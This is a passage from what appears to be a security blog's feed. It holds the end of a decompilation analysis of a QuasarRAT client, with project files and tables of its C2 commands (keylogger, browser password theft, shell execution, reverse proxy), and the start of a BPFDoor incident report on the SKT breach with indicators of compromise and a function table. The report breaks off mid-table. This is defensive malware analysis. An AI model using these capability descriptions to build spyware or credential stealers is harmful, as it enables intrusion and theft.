Therefore, I will use <code>ILSpy</code> to decompile the binary.</p><section><h2><code>csproj</code> File Contents<a href="#csproj-file-contents"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>Project</span><span> </span><span>Sdk</span><span>=</span><span>"Microsoft.NET.Sdk.WindowsDesktop"</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>&lt;</span><span>PropertyGroup</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;</span><span>AssemblyName</span><span>&gt;Client&lt;/</span><span>AssemblyName</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;</span><span>GenerateAssemblyInfo</span><span>&gt;False&lt;/</span><span>GenerateAssemblyInfo</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;</span><span>OutputType</span><span>&gt;WinExe&lt;/</span><span>OutputType</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;</span><span>UseWindowsForms</span><span>&gt;True&lt;/</span><span>UseWindowsForms</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>&lt;</span><span>TargetFramework</span><span>&gt;net452&lt;/</span><span>TargetFramework</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>&lt;/</span><span>PropertyGroup</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>&lt;</span><span>PropertyGroup</span><span>&gt;</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>&lt;</span><span>LangVersion</span><span>&gt;12.0&lt;/</span><span>LangVersion</span><span>&gt;</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>&lt;</span><span>AllowUnsafeBlocks</span><span>&gt;True&lt;/</span><span>AllowUnsafeBlocks</span><span>&gt;</span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>&lt;/</span><span>PropertyGroup</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>&lt;</span><span>PropertyGroup</span><span>&gt;</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>&lt;</span><span>ApplicationManifest</span><span>&gt;app.manifest&lt;/</span><span>ApplicationManifest</span><span>&gt;</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>&lt;</span><span>RootNamespace</span><span> /&gt;</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>&lt;/</span><span>PropertyGroup</span><span>&gt;</span></div></div><div><div><div>17</div></div><div><span><span>  </span></span><span>&lt;</span><span>ItemGroup</span><span>&gt;</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>&lt;</span><span>None</span><span> </span><span>Remove</span><span>=</span><span>"ILRepack.List"</span><span> /&gt;</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>&lt;</span><span>EmbeddedResource</span><span> </span><span>Include</span><span>=</span><span>"ILRepack.List"</span><span> </span><span>LogicalName</span><span>=</span><span>"ILRepack.List"</span><span> /&gt;</span></div></div><div><div><div>20</div></div><div><span><span>  </span></span><span>&lt;/</span><span>ItemGroup</span><span>&gt;</span></div></div><div><div><div>21</div></div><div><span><span>  </span></span><span>&lt;</span><span>ItemGroup</span><span>&gt;</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>&lt;</span><span>Reference</span><span> </span><span>Include</span><span>=</span><span>"System.Core"</span><span> /&gt;</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>&lt;</span><span>Reference</span><span> </span><span>Include</span><span>=</span><span>"System.Xml"</span><span> /&gt;</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>&lt;</span><span>Reference</span><span> </span><span>Include</span><span>=</span><span>"System.Security"</span><span> /&gt;</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>&lt;</span><span>Reference</span><span> </span><span>Include</span><span>=</span><span>"System.Runtime.Serialization"</span><span> /&gt;</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>&lt;</span><span>Reference</span><span> </span><span>Include</span><span>=</span><span>"System.Web"</span><span> /&gt;</span></div></div><div><div><div>27</div></div><div><span><span>    </span></span><span>&lt;</span><span>Reference</span><span> </span><span>Include</span><span>=</span><span>"System.Management"</span><span> /&gt;</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>&lt;</span><span>Reference</span><span> </span><span>Include</span><span>=</span><span>"System.ServiceModel"</span><span> /&gt;</span></div></div><div><div><div>29</div></div><div><span><span>  </span></span><span>&lt;/</span><span>ItemGroup</span><span>&gt;</span></div></div><div><div><div>30</div></div><div><span>&lt;/</span><span>Project</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div>

<table><thead><tr><th>Field</th><th>Value</th></tr></thead><tbody><tr><td><strong>Project Type</strong></td><td>.NET SDK-style Windows Forms Desktop Application</td></tr><tr><td><strong>Target Framework</strong></td><td>.NET Framework 4.5.2 (<code>net452</code>)</td></tr><tr><td><strong>Output Type</strong></td><td><code>WinExe</code> (Graphical executable, no console window)</td></tr><tr><td><strong>Assembly Name</strong></td><td><code>Client</code></td></tr><tr><td><strong>Language Version</strong></td><td>C# 12.0</td></tr><tr><td><strong>Unsafe Code Allowed</strong></td><td>Yes (<code>AllowUnsafeBlocks=True</code>)</td></tr><tr><td><strong>Windows Forms Enabled</strong></td><td>Yes (<code>UseWindowsForms=True</code>)</td></tr><tr><td><strong>Auto Assembly Info Generation</strong></td><td>Disabled (<code>GenerateAssemblyInfo=False</code>)</td></tr><tr><td><strong>Manifest File</strong></td><td><code>app.manifest</code></td></tr><tr><td><strong>Embedded Resource</strong></td><td><code>ILRepack.List</code></td></tr><tr><td><strong>Referenced Libraries</strong></td><td><code>System.Core</code>, <code>System.Xml</code>, <code>System.Web</code>, <code>System.Management</code>, <code>System.ServiceModel</code>, etc.</td></tr></tbody></table></section><section><h2><code>AssemblyInfo.cs</code> File Contents<a href="#assemblyinfocs-file-contents"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>using</span><span> </span><span>System</span><span>.</span><span>Diagnostics</span><span>;</span></div></div><div><div><div>2</div></div><div><span>using</span><span> </span><span>System</span><span>.</span><span>Reflection</span><span>;</span></div></div><div><div><div>3</div></div><div><span>using</span><span> </span><span>System</span><span>.</span><span>Runtime</span><span>.</span><span>CompilerServices</span><span>;</span></div></div><div><div><div>4</div></div><div><span>using</span><span> </span><span>System</span><span>.</span><span>Runtime</span><span>.</span><span>InteropServices</span><span>;</span></div></div><div><div><div>5</div></div><div><span>using</span><span> </span><span>System</span><span>.</span><span>Runtime</span><span>.</span><span>Versioning</span><span>;</span></div></div><div><div><div>6</div></div><div><span>using</span><span> </span><span>System</span><span>.</span><span>Security</span><span>;</span></div></div><div><div><div>7</div></div><div><span>using</span><span> </span><span>System</span><span>.</span><span>Security</span><span>.</span><span>Permissions</span><span>;</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyDescription</span><span>(</span><span>""</span><span>)]</span></div></div><div><div><div>10</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyCompany</span><span>(</span><span>""</span><span>)]</span></div></div><div><div><div>11</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyConfiguration</span><span>(</span><span>""</span><span>)]</span></div></div><div><div><div>12</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyProduct</span><span>(</span><span>"Quasar"</span><span>)]</span></div></div><div><div><div>13</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyCopyright</span><span>(</span><span>"Copyright © MaxXor 2020"</span><span>)]</span></div></div><div><div><div>14</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyTrademark</span><span>(</span><span>""</span><span>)]</span></div></div><div><div><div>15</div></div><div><span>[</span><span>assembly</span><span>: </span><span>InternalsVisibleTo</span><span>(</span><span>"Client.Tests"</span><span>)]</span></div></div><div><div><div>16</div></div><div><span>[</span><span>assembly</span><span>: </span><span>ComVisible</span><span>(</span><span>false</span><span>)]</span></div></div><div><div><div>17</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyFileVersion</span><span>(</span><span>"1.4.0"</span><span>)]</span></div></div><div><div><div>18</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyTitle</span><span>(</span><span>"Quasar Client"</span><span>)]</span></div></div><div><div><div>19</div></div><div><span>[</span><span>assembly</span><span>: </span><span>AssemblyVersion</span><span>(</span><span>"1.4.0.0"</span><span>)]</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div>

<table><thead><tr><th>Attribute</th><th>Value</th></tr></thead><tbody><tr><td><strong>Title</strong></td><td><code>Quasar Client</code></td></tr><tr><td><strong>Product</strong></td><td><code>Quasar</code></td></tr><tr><td><strong>Company</strong></td><td><em>(Empty)</em></td></tr><tr><td><strong>Copyright</strong></td><td><code>© MaxXor 2020</code></td></tr><tr><td><strong>File Version</strong></td><td><code>1.4.0</code></td></tr><tr><td><strong>Assembly Version</strong></td><td><code>1.4.0.0</code></td></tr><tr><td><strong>ComVisible</strong></td><td><code>false</code> <em>(not visible to COM components)</em></td></tr><tr><td><strong>InternalsVisibleTo</strong></td><td><code>Client.Tests</code> <em>(likely for unit testing)</em></td></tr></tbody></table><p><strong>MaxXor</strong> is the original author of Quasar RAT.</p></section><section><h2><code>ThisAssembly.cs</code> File Contents<a href="#thisassemblycs-file-contents"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>internal</span><span> </span><span>sealed</span><span> </span><span>class</span><span> </span><span>ThisAssembly</span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>AssemblyVersion</span><span><span> </span><span>=</span><span> </span></span><span>"2.4.0.0"</span><span>;</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>AssemblyFileVersion</span><span><span> </span><span>=</span><span> </span></span><span>"2.4.6.0"</span><span>;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>AssemblyInformationalVersion</span><span><span> </span><span>=</span><span> </span></span><span>"2.4.6+g43df102394"</span><span>;</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>AssemblyName</span><span><span> </span><span>=</span><span> </span></span><span>"protobuf-net"</span><span>;</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>AssemblyTitle</span><span><span> </span><span>=</span><span> </span></span><span>"protobuf-net"</span><span>;</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>AssemblyConfiguration</span><span><span> </span><span>=</span><span> </span></span><span>"Release"</span><span>;</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>PublicKey</span><span><span> </span><span>=</span><span> </span></span><span>"002400000480000094000000060200000024000052534131000400000100010009ed9caa457bfc205716c3d4e8b255a63ddf71c9e53b1b5f574ab6ffdba11e80ab4b50be9c46d43b75206280070ddba67bd4c830f93f0317504a76ba6a48243c36d2590695991164592767a7bbc4453b34694e31e20815a096e4483605139a32a76ec2fef196507487329c12047bf6a68bca8ee9354155f4d01daf6eec5ff6bc"</span><span>;</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>PublicKeyToken</span><span><span> </span><span>=</span><span> </span></span><span>"257b51d87d2e4d67"</span><span>;</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>  </span><span>internal</span><span> </span><span>const</span><span> </span><span>string</span><span> </span><span>RootNamespace</span><span><span> </span><span>=</span><span> </span></span><span>"ProtoBuf"</span><span>;</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span>  </span><span>private</span><span> </span><span>ThisAssembly</span><span>()</span></div></div><div><div><div>22</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>23</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>24</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div>

<table><thead><tr><th><strong>Field</strong></th><th><strong>Value</strong></th></tr></thead><tbody><tr><td><strong>Assembly Version</strong></td><td><code>2.4.0.0</code></td></tr><tr><td><strong>File Version</strong></td><td><code>2.4.6.0</code></td></tr><tr><td><strong>Informational Version</strong></td><td><code>2.4.6+g43df102394</code></td></tr><tr><td><strong>Assembly Name</strong></td><td><code>protobuf-net</code></td></tr><tr><td><strong>Title</strong></td><td><code>protobuf-net</code></td></tr><tr><td><strong>Configuration</strong></td><td><code>Release</code></td></tr><tr><td><strong>Public Key</strong></td><td><code>002400000480000094000000060200000024000052534131000400000100010009ed9caa457bfc205716c3d4e8b255a63ddf71c9e53b1b5f574ab6ffdba11e80ab4b50be9c46d43b75206280070ddba67bd4c830f93f0317504a76ba6a48243c36d2590695991164592767a7bbc4453b34694e31e20815a096e4483605139a32a76ec2fef196507487329c12047bf6a68bca8ee9354155f4d01daf6eec5ff6bc</code></td></tr><tr><td><strong>Public Key Token</strong></td><td><code>257b51d87d2e4d67</code></td></tr><tr><td><strong>Root Namespace</strong></td><td><code>ProtoBuf</code></td></tr></tbody></table></section><section><h2>Deobfuscation<a href="#deobfuscation"><span>#</span></a></h2><p>Approximately 60% of the obfuscated code has been successfully recovered. The command structure and operational behavior have now been clearly identified. Below is the confirmed command structure:</p>

<table><thead><tr><th>File</th><th>Command</th><th>Action</th></tr></thead><tbody><tr><td><code>IMessage_ClientUninstall.cs</code></td><td>ClientUninstall</td><td>Uninstall QuasarRAT</td></tr><tr><td><code>IMessage_CloseConnection.cs</code></td><td>CloseConnection</td><td>Close C2 Server Connection</td></tr><tr><td><code>IMessage_GetSystemInfo.cs  </code></td><td>GetSystemInfo</td><td>Get System Information</td></tr><tr><td><code>IMessage_Keylogger.cs      </code></td><td>Keylogger</td><td>Log Keystrokes</td></tr><tr><td><code>IMessage_PasswordStealer.cs</code></td><td>PasswordStealer</td><td>Parse Passwords from Browsers</td></tr><tr><td><code>IMessage_Process.cs        </code></td><td>Process</td><td>Add/Delete/Modify Processes</td></tr><tr><td><code>IMessage_Registry.cs       </code></td><td>Registry</td><td>Add/Delete/Modify Registry</td></tr><tr><td><code>IMessage_ReverseProxy.cs   </code></td><td>ReverseProxy</td><td>Spawn a Reverse Proxy</td></tr><tr><td><code>IMessage_ShellExecute.cs   </code></td><td>ShellExecute</td><td>Execute a Shell Command</td></tr><tr><td><code>IMessage_ShowMessageBox.cs </code></td><td>ShowMessageBox</td><td>Show a Messagebox</td></tr><tr><td><code>IMessage_Shutdown.cs       </code></td><td>Shutdown</td><td>Shutdown the Device</td></tr><tr><td><code>IMessage_StartupItem.cs    </code></td><td>StartupItem</td><td>Add/Delete/Modify Startup Items</td></tr><tr><td><code>IMessage_VisitWebsite.cs   </code></td><td>VisitWebsite</td><td>Open a Website Link</td></tr></tbody></table><p><code>QuasarRAT</code> communicates with its C2 server through an object called <code>IMessage</code>. This IMessage object encapsulates various payloads capable of performing tasks such as keylogging, command execution, and password theft.</p><p>Below is a list of the Windows API functions utilized by QuasarRAT during its operation:</p>

<table><thead><tr><th>File</th><th>API</th><th>DLL</th></tr></thead><tbody><tr><td><code>API_Windows.cs</code></td><td>LoadLibrary</td><td><code>kernel32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>FreeLibrary</td><td><code>kernel32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>GetProcAddress</td><td><code>kernel32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>QueryFullProcessImageName</td><td><code>kernel32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>BitBlt</td><td><code>gdi32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>CreateDC</td><td><code>gdi32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>DeleteDC</td><td><code>gdi32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>GetLastInputInfo</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>SetCursorPos</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>SendInput</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>SystemParametersInfo</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>PostMessage</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>OpenDesktop</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>CloseDesktop</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>EnumDesktopWindows</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>IsWindowVisible</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>GetForegroundWindow</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>GetWindowText</td><td><code>user32.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>GetExtendedTcpTable</td><td><code>iphlpapi.dll</code></td></tr><tr><td><code>API_Windows.cs</code></td><td>SetTcpEntry</td><td><code>iphlpapi.dll</code></td></tr><tr><td></td><td></td><td></td></tr><tr><td><code>API_Windows_FileAPIs.cs</code></td><td>DeleteFile</td><td><code>kernel32.dll</code></td></tr><tr><td></td><td></td><td></td></tr><tr><td><code>API_Unknown6.cs</code></td><td>UrlCanonicalize</td><td><code>shlwapi.dll</code></td></tr><tr><td><code>API_Unknown6.cs</code></td><td>FileTimeToSystemTime</td><td><code>kernel32.dll</code></td></tr><tr><td><code>API_Unknown6.cs</code></td><td>SystemTimeToFileTime</td><td><code>kernel32.dll</code></td></tr><tr><td><code>API_Unknown6.cs</code></td><td>CompareFileTime</td><td><code>kernel32.dll</code></td></tr><tr><td><code>API_Unknown6.cs</code></td><td>SHGetFileInfo</td><td><code>shell32.dll</code></td></tr><tr><td></td><td></td><td></td></tr></tbody></table><p>Below is the list of password in applications that <code>QuasarRAT</code> is capable of parsing:</p>

<table><thead><tr><th>Application Name</th><th>File</th></tr></thead><tbody><tr><td>Chrome</td><td><code>Parser_ChromeLoginData.cs</code></td></tr><tr><td>Opera</td><td><code>Parser_OperaLoginData.cs</code></td></tr><tr><td>Yandex</td><td><code>Parser_YandexLoginData.cs</code></td></tr><tr><td>Firefox</td><td><code>Parser_FirefoxLoginData.cs</code></td></tr><tr><td>IE (Internet Explorer)</td><td><code>Parser_IELoginData.cs</code></td></tr><tr><td>FileZilla</td><td><code>Parser_FileZillaLoginData.cs</code></td></tr><tr><td>WinSCP</td><td><code>Parser_WinSCPLoginData.cs</code></td></tr></tbody></table></section></section>]]></content>
    </entry>
    <entry>
      <id>https://therustymate.com/posts/2025-06-08-mal-250608-01-01/</id>
      <title type="text">MAL-250608-01-01</title>
      <published>2025-06-08T00:00:00.000Z</published>
      <updated>2025-06-08T00:00:00.000Z</updated>
      <author><name>therustymate</name></author>
      <link rel="alternate" href="https://therustymate.com/posts/2025-06-08-mal-250608-01-01/"/>
      <summary type="text">SKT (South Korea, ISP) - BPFDoor WhiteBox Analysis</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th>Metadata</th><th>Information</th></tr></thead><tbody><tr><td>Report ID</td><td>MAL-250608-01-01</td></tr><tr><td>Incident Date</td><td>2022-06/15 - 2025-04/22</td></tr><tr><td>Report Date</td><td>2025-06/08</td></tr><tr><td>Malware Name</td><td>BPFDoor</td></tr><tr><td>Version</td><td>01</td></tr><tr><td>Analyst</td><td>@therustymate</td></tr><tr><td>Organization</td><td>Private</td></tr><tr><td>Severity</td><td>Critical</td></tr><tr><td>Status</td><td>Public/Draft</td></tr><tr><td>Malware Type</td><td>RAT</td></tr><tr><td>Detection Date</td><td>2025-04/18 06&lt;09&gt; PM</td></tr><tr><td>Affected Systems</td><td>Linux/HSS</td></tr><tr><td>CVE</td><td>N/A</td></tr><tr><td>Tags</td><td>Backdoor, ISP Hacking</td></tr></tbody></table>
<section><h2>Incident Report<a href="#incident-report"><span>#</span></a></h2><p>In the recent SKT cyberattack, threat actors gained initial access via a <u>web shell</u> from the external network, then penetrated into the internal network and deployed <em><strong>BPFdoor</strong></em> malware to compromise Linux-based HSS (Home Subscriber Server) systems. Approximately <strong>9.8GB</strong> of sensitive data (ex. IMSI) was exfiltrated during the intrusion.</p><section><h3>Incident Metadata<a href="#incident-metadata"><span>#</span></a></h3>

<table><thead><tr><th>Metadata</th><th>Information</th></tr></thead><tbody><tr><td>Command &amp; Control (C2) Server</td><td>165.232.174[.]130</td></tr><tr><td>Indicators of Compromise</td><td>165.232.174[.]130</td></tr><tr><td>Infection Vector</td><td>WebShell</td></tr><tr><td>Persistence Mechanisms</td><td>BPF-based direct kernel code execution</td></tr><tr><td></td><td>Raw socket-based custom packet trigger mechanism</td></tr><tr><td>Payload Description</td><td>Backdoor</td></tr><tr><td>Network Behavior</td><td>Custom Packet Communication</td></tr></tbody></table></section><section><h3>File Names<a href="#file-names"><span>#</span></a></h3>

<table><thead><tr><th>File Name</th><th>Size</th></tr></thead><tbody><tr><td>dbus-srv</td><td>34KB</td></tr><tr><td>inode262394</td><td>28KB</td></tr><tr><td>dbus-srv</td><td>34KB</td></tr><tr><td>dbus-srv</td><td>34KB</td></tr><tr><td>dbus-srv</td><td>34KB</td></tr><tr><td>File_in_Inode_#1900667</td><td>28KB</td></tr><tr><td>gm</td><td>2,063KB</td></tr><tr><td>rad</td><td>22KB</td></tr></tbody></table></section><section><h3>Hashes<a href="#hashes"><span>#</span></a></h3>

<table><thead><tr><th>File Name</th><th>Hash Type</th><th>Hash</th></tr></thead><tbody><tr><td>hpasmmld</td><td>MD5</td><td>a47d96ffe446a431a46a3ea3d1ab4d6e</td></tr><tr><td></td><td>SHA1</td><td>e6ccf59c2b7f6bd0f143cde356f60d2217120ad2</td></tr><tr><td></td><td>SHA256</td><td>c7f693f7f85b01a8c0e561bd369845f40bff423b0743c7aa0f4c323d9133b5d4</td></tr><tr><td></td><td></td><td></td></tr><tr><td>smartadm</td><td>MD5</td><td>227fa46cf2a4517aa1870a011c79eb54</td></tr><tr><td></td><td>SHA1</td><td>466527d15744cdbb6e1d71129e1798acbe95764d</td></tr><tr><td></td><td>SHA256</td><td>3f6f108db37d18519f47c5e4182e5e33cc795564f286ae770aa03372133d15c4</td></tr><tr><td></td><td></td><td></td></tr><tr><td>hald-addon-volume</td><td>MD5</td><td>f4ae0f1204e25a17b2adbbab838097bd</td></tr><tr><td></td><td>SHA1</td><td>e3399ea3ebbbd47c588ae807c4bd429f6eef8deb</td></tr><tr><td></td><td>SHA256</td><td>95fd8a70c4b18a9a669fec6eb82dac0ba6a9236ac42a5ecde270330b66f51595</td></tr><tr><td></td><td></td><td></td></tr><tr><td>dbus-srv-bin.txt</td><td>MD5</td><td>714165b06a462c9ed3d145bc56054566</td></tr><tr><td></td><td>SHA1</td><td>2ca9a29b139b7b2993cabf025b34ead957dee08b</td></tr><tr><td></td><td>SHA256</td><td>aa779e83ff5271d3f2d270eaed16751a109eb722fca61465d86317e03bbf49e4</td></tr><tr><td>dbus-srv</td><td>MD5</td><td>3c54d788de1bf6bd2e7bc7af39270540</td></tr><tr><td></td><td>SHA1</td><td>67a3a1f8338262cd9c948c6e55a22e7d9070ca6c</td></tr><tr><td></td><td>SHA256</td><td>925ec4e617adc81d6fcee60876f6b878e0313a11f25526179716a90c3b743173</td></tr><tr><td></td><td></td><td></td></tr><tr><td>inode262394</td><td>MD5</td><td>fbe4d008a79f09c2d46b0bcb1ba926b3</td></tr><tr><td></td><td>SHA1</td><td>0f12ab32bac3f4db543f702d58368f20b6f5d324</td></tr><tr><td></td><td>SHA256</td><td>29564c19a15b06dd5be2a73d7543288f5b4e9e6668bbd5e48d3093fb6ddf1fdb</td></tr><tr><td></td><td></td><td></td></tr><tr><td>dbus-srv</td><td>MD5</td><td>c2415a464ce17d54b01fc91805f68967</td></tr><tr><td></td><td>SHA1</td><td>4b6824ed764822dc422384cec89d45bbc682ef09</td></tr><tr><td></td><td>SHA256</td><td>be7d952d37812b7482c1d770433a499372fde7254981ce2e8e974a67f6a088b5</td></tr><tr><td></td><td></td><td></td></tr><tr><td>dbus-srv</td><td>MD5</td><td>aba893ffb1179b2a0530fe4f0daf94da</td></tr><tr><td></td><td>SHA1</td><td>213dbb5862a19a423e5b10789a07ee163ab71969</td></tr><tr><td></td><td>SHA256</td><td>027b1fed1b8213b86d8faebf51879ccc9b1afec7176e31354fbac695e8daf416</td></tr><tr><td></td><td></td><td></td></tr><tr><td>dbus-srv</td><td>MD5</td><td>e2c2f1a1fbd66b4973c0373200130676</td></tr><tr><td></td><td>SHA1</td><td>7e7234c5e94a92dd8f43632aca1ac60db7d96d56</td></tr><tr><td></td><td>SHA256</td><td>a2ea82b3f5be30916c4a00a7759aa6ec1ae6ddadc4d82b3481640d8f6a325d59</td></tr><tr><td></td><td></td><td></td></tr><tr><td>File_in_Inode_#1900667</td><td>MD5</td><td>dc3361ce344917da20f1b8cb4ae0b31d</td></tr><tr><td></td><td>SHA1</td><td>c2717777ba2cb9a698889fca884eb7650144f32e</td></tr><tr><td></td><td>SHA256</td><td>e04586672874685b019e9120fcd1509d68af6f9bc513e739575fc73edefd511d</td></tr><tr><td></td><td></td><td></td></tr><tr><td>gm</td><td>MD5</td><td>a778d7ad5a23a177f2d348a0ae4099772c09671e</td></tr><tr><td></td><td>SHA1</td><td>c2717777ba2cb9a698889fca884eb7650144f32e</td></tr><tr><td></td><td>SHA256</td><td>adfdd11d69f4e971c87ca5b2073682d90118c0b3a3a9f5fbbda872ab1fb335c6</td></tr><tr><td></td><td></td><td></td></tr><tr><td>rad</td><td>MD5</td><td>0bcd4f14e7d8a3dc908b5c17183269a4</td></tr><tr><td></td><td>SHA1</td><td>b631d5ed10d0b2c7d9c39f43402cccde7f3cb5ea</td></tr><tr><td></td><td>SHA256</td><td>7c39f3c3120e35b8ab89181f191f01e2556ca558475a2803cb1f02c05c830423</td></tr></tbody></table></section><section><h3>References<a href="#references"><span>#</span></a></h3><p><strong>!!!WARNING!!!</strong> Some references may not be fully reliable.</p>

<table><thead><tr><th>Title</th><th>Link</th></tr></thead><tbody><tr><td>KISA (boho.or.kr)</td><td><a href="https://boho.or.kr/kr/bbs/view.do?bbsId=B0000133&amp;menuNo=205020&amp;nttId=71735" target="_blank">here</a></td></tr><tr><td>Namu Wiki (namu.wiki)</td><td><a href="https://namu.wiki/w/SK%ED%85%94%EB%A0%88%EC%BD%A4%20%EC%9C%A0%EC%8B%AC%20%EC%A0%95%EB%B3%B4%20%EC%9C%A0%EC%B6%9C%20%EC%82%AC%EA%B3%A0" target="_blank">here</a></td></tr><tr><td>korea.kr</td><td><a href="https://www.korea.kr/briefing/policyBriefingView.do?newsId=156689741#:~:text=1%EC%B0%A8%20%EB%B0%9C%ED%91%9C%20%EC%9D%B4%ED%9B%84%20%EA%B3%B5%EA%B2%A9,%EC%9D%84%20%EC%99%84%EB%A3%8C%ED%95%A0%20%EC%98%88%EC%A0%95%EC%9E%85%EB%8B%88%EB%8B%A4." target="_blank">here</a></td></tr></tbody></table></section></section>
<section><h2>Analysis<a href="#analysis"><span>#</span></a></h2><section><h3>Function/Symbol Table<a href="#functionsymbol-table"><span>#</span></a></h3>

<table><thead><tr><th>Function</th><th>Hex Location</th><th>Description</th></tr></thead><tbody><tr><td><code>xchg()</code></td><td>Unknown</td><td>Exchange <code>a</code> and <code>b</code> in memory</td></tr><tr><td><code>rc4_init()</code></td><td>Unknown</td><td>Initialize RC4 encryption algorithm</td></tr><tr><td><code>rc4()</code></td><td>Unknown</td><td>Perform RC4 encryption</td></tr><tr><td><code>cwrite()</code></td><td>Unknown</td><td>Cipher writer</td></tr><tr><td><code>cread()</code></td><td>Unknown</td><td>Cipher reader</td></tr><tr><td><code>remove_pid()</code></td><td>Unknown</td><td>Unlink (delete) <code>pid_path</code> file</td></tr><tr><td><code>setup_time()</code></td><td>Unknown</td><td>File timestamp manipulation (<code>1225394236</code> sec)</td></tr><tr><td><code>terminate()</code></td><td>Unknown</td><td>Process termination event</td></tr><tr><td><code>on_terminate()</code></td><td>Unknown</td><td><code>SIGTERM</code> (Process termination) event handler</td></tr><tr><td><code>init_signal()</code></td><td>Unknown</td><td>Process termination event setup</td></tr><tr><td><code>sig_child()</code></td><td>Unknown</td><td>Child process termination event setup/handler</td></tr><tr><td><code>ptym_open()</code></td><td>Unknown</td><td>Spawn a pseudo terminal master (virtual terminal)</td></tr><tr><td><code>ptys_open()</code></td><td>Unknown</td><td>Spawn a pseudo terminal slave (PTYM input object)</td></tr><tr><td><code>open_tty()</code></td><td>Unknown</td><td>Create a teletypewriter (terminal 